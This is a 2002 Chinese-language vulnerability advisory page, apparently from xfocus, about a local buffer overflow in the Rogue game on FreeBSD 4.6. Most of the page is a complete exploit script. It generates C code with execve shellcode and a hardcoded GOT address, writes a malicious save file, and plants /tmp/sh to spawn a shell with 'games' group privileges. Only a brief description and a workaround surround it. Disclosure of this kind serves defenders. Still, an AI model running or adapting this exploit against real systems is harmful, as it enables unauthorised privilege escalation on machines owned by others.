xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

FreeBSD Rogue存在本地缓冲溢出漏洞


发布时间:2002-10-08
更新时间:2002-10-08
严重程度:
威胁程度:权限提升
错误类型:边界检查错误
利用方式:服务器模式

BUGTRAQ ID:5837

受影响系统
Rogue Rogue 5.3
   + FreeBSD FreeBSD 4.6 -RELEASE
详细描述
Rogue是FREEBSD包含的游戏程序。

当保存游戏的时候通过提供超长值,可能导致攻击者破坏内存,成功利用这个漏洞可以获得'games'组权限。

测试代码
#!/bin/sh

echo "ROGUE EXPLOIT FOR FreeBSD/i386 (4.6-RELEASE) AUTHOR: stanojr@iserver.sk"
echo "WARNING:"
echo "This exploit create 4 files: /tmp/sh, ./rogue-exp.c, ./rogue-exp, ./rogue.hsave\n"

echo "Creating rogue-exp.c which create a vulnerable save file"
cat >rogue-exp.c <<_EOF_
#include <stdio.h>
#include <string.h>

/*
* shellcode exec /tmp/sh because of horrible terminal which
* mess ncurses and we must fix it
*/

char shellcode[] =
        "\x31\xc0\x50\x89\xe2\x68\x70\x2f\x73\x68\x68\x2f\x2f\x74\x6d"
        "\x89\xe3\x50\x53\x89\xe1\x50\x51\x53\x50\xb0\x3b\xcd\x80";

long xxx();

int main(ac,av)
int ac;
char *av[];
{
    char hunger_str[13475+strlen(shellcode)];
    char tmp[4];
    unsigned long addr=0x08060b38; // address after strcpy in GOT
    FILE *fp;

    if (ac!=2)
        usage(av[0]);

    memset(tmp,'A',sizeof(tmp)); // only temporary variable
    memset(hunger_str,'A',sizeof(hunger_str)); // our vulnerable variable

    memcpy(hunger_str+13470,&addr,sizeof(addr));
    memcpy(hunger_str+13474,shellcode,sizeof(shellcode)); // we put shellcode after addr
    hunger_str[sizeof(hunger_str)]=0; //we must close string

    if ((fp=fopen(av[1],"w"))==NULL){
        perror("fopen");
    }
    (void) xxx(1);
    r_write(fp, tmp, sizeof(char)); //detect_monster (see save.c)
    r_write(fp, tmp, sizeof(short)); //cur_level (see save.c)
    r_write(fp, tmp, sizeof(short)); //max_level (see save.c)
    write_string(hunger_str, fp); //our vulnerable variable
    fclose(fp);

    return 0;
}

usage(p)
char *p;
{
    printf("usage: %s save\nsave - vulnerable save file\n",p);
    exit(0);
}

// xxx,xxxx,r_write,write_string stolen from rogue and little changed

r_write(fp, buf, n)
FILE *fp;
const char *buf;
int n;
{
    if (fwrite(buf, sizeof(char), n, fp) != n) {
        perror("fwrite");
    }
}

write_string(s, fp)
char *s;
FILE *fp;
{
        short n;
        n = strlen(s) + 1;
        xxxx(s, n);
        r_write(fp, (char *) &n, sizeof(short));
        r_write(fp, s, n);
}

xxxx(buf, n)
char *buf;
short n;
{
        short i;
        unsigned char c;
        for (i = 0; i < n; i++) {
                /* It does not matter if accuracy is lost during this assignment */
                c = (unsigned char) xxx(0);
                buf[i] ^= c;
        }
}

long
xxx(st)
char st;
{
        static long f, s;
        long r;
        if (st) {
                f = 37;
                s = 7;
                return(0L);
        }
        r = ((f * s) + 9337) % 8887;
        f = s;
        s = r;
        return(r);
}
_EOF_

echo "Creating /tmp/sh with stty command to fix terminal and then exec /bin/sh command"

cat >/tmp/sh <<_EOF_
#!/bin/sh

stty icanon echo icrnl onlcr oxtabs
echo "!!! BOOOM !!!"
id
exec /bin/sh
_EOF_

echo "cmd: chmod 755 /tmp/sh"
chmod 755 /tmp/sh
echo "cmd: make rogue-exp"
make rogue-exp
echo "Creating vulnerable save file"
echo "cmd: ./rogue-exp rogue.hsave"
./rogue-exp rogue.hsave
echo "Execing rogue with vuln save file"
echo "cmd: rogue rogue.hsave"
rogue rogue.hsave

解决方案
通过/etc/dm.conf关闭rogue游戏。

相关信息
stanojr <stanojr@iserver.sk>
参考:http://online.securityfocus.com/archive/1/293582